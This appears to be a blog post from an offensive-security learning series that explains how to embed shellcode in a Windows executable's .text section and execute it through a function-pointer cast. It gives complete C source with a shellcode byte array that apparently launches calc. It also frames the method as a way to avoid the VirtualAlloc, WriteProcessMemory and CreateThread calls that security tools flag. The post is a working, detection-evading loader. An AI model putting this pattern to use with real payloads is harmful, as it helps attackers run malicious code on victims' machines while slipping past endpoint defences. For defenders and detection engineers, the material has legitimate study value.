Post

Shellcode-Placement-TextSection

Shellcode-Placement-TextSection

What is it?

Shellcode embedded directly into the PE’s .text section — the same section that holds the compiled code of the program itself. Instead of allocating memory at runtime with VirtualAlloc and writing shellcode into it, the shellcode bytes are placed at compile time into a named subsection of .text.

The result: the shellcode lives in a memory region that is already executable (because .text always is), with no suspicious runtime memory allocation, no VirtualAlloc, no WriteProcessMemory, no permission changes.

How it works

Step 1: Place shellcode in .text at compile time

1
2
3
4
5
6
7
# pragma section(".text$Shellcode", read, execute)
→ Tells the linker to create a subsection called ".text$Shellcode"
  with read + execute permissions

__declspec(allocate(".text$Shellcode")) const unsigned char Shellcode[] = { ... }
→ Places the shellcode byte array directly into that subsection
  at compile time — not at runtime

Step 2: Print the address and wait

1
2
3
4
5
6
7
printf("[+] Shellcode Address: 0x%p", (void*)Shellcode)
→ Shows where the shellcode landed in memory
  (useful for verifying it's inside .text and not a separate region)

getchar()
→ Pauses before execution — lets you inspect the process
  in a debugger or memory scanner first

Step 3: Execute

1
2
3
4
5
6
7
8
((void(*)())Shellcode)()

Breaking this down:
  Shellcode        → PBYTE pointing to the first byte of the shellcode array
  (void(*)())      → cast to a function pointer (takes no args, returns void)
  ()               → call it

The CPU jumps to the start of the shellcode bytes and begins executing. No CreateThread, no CreateRemoteThread — just a direct function call.

Why .text$Shellcode specifically:

1
2
3
4
5
6
7
8
9
10
11
12
13
Windows PE loader maps .text as PAGE_EXECUTE_READ at startup.
The $Shellcode suffix is a COFF section name notation — the linker
groups all .text$* subsections into the final .text section in
alphabetical order. This means our shellcode ends up inside .text
with no extra sections, no anomalous memory regions, and no runtime
permission changes needed.

Memory scanner view:
  Region:      .text (part of the PE image)
  Permissions: PAGE_EXECUTE_READ        ← normal for any code section
  Backed by:   the executable on disk   ← not anonymous private memory
  Content:     shellcode bytes          ← but doesn't match file on disk
                                          (detectable by disk comparison)

Compared to classic VirtualAlloc injection:

1
2
3
4
5
6
Classic:                          .text placement:
  VirtualAlloc (RWX) ← flagged    No VirtualAlloc at all ✓
  WriteProcessMemory ← flagged    No WriteProcessMemory  ✓
  CreateThread       ← flagged    No CreateThread        ✓
  RWX private region ← flagged    PAGE_EXECUTE_READ      ✓
                                  Backed by image file   ✓

shellcode-placement.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <Windows.h>
#include <stdio.h>

/*
    Shellcode placement, .Text Section

    #pragma section creates a named COFF subsection with explicit attributes. The advantage is that no VirtualAlloc is needed

*/

#pragma section(".text$Shellcode", read, execute)

// Place the shellcode array directly into .text$Shellcode at compile time. __declspec(allocate) tells the compiler which section to put this variable in. "const" prevents the compiler from placing it in .rdata instead.

__declspec(allocate(".text$Shellcode")) const unsigned char Shellcode[] = {
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00 
};


int main() {

    printf("[+] Shellcode Address: 0x%p \n", (void*)Shellcode);
    printf("[+] Shellcode Size:    %zu bytes \n", sizeof(Shellcode));

    printf("[+] Press Enter to execute... \n");
    getchar();

    // Cast the shellcode array to a function pointer and call it directly.
    //
    // Breakdown:
    //   Shellcode            → PBYTE — address of first shellcode byte
    //   (void(*)())          → cast to: pointer to function (void args, void return)
    //   ()                   → call the function
    ((void(*)())Shellcode)();

    return 0;
}
This post is licensed under CC BY 4.0 by the author.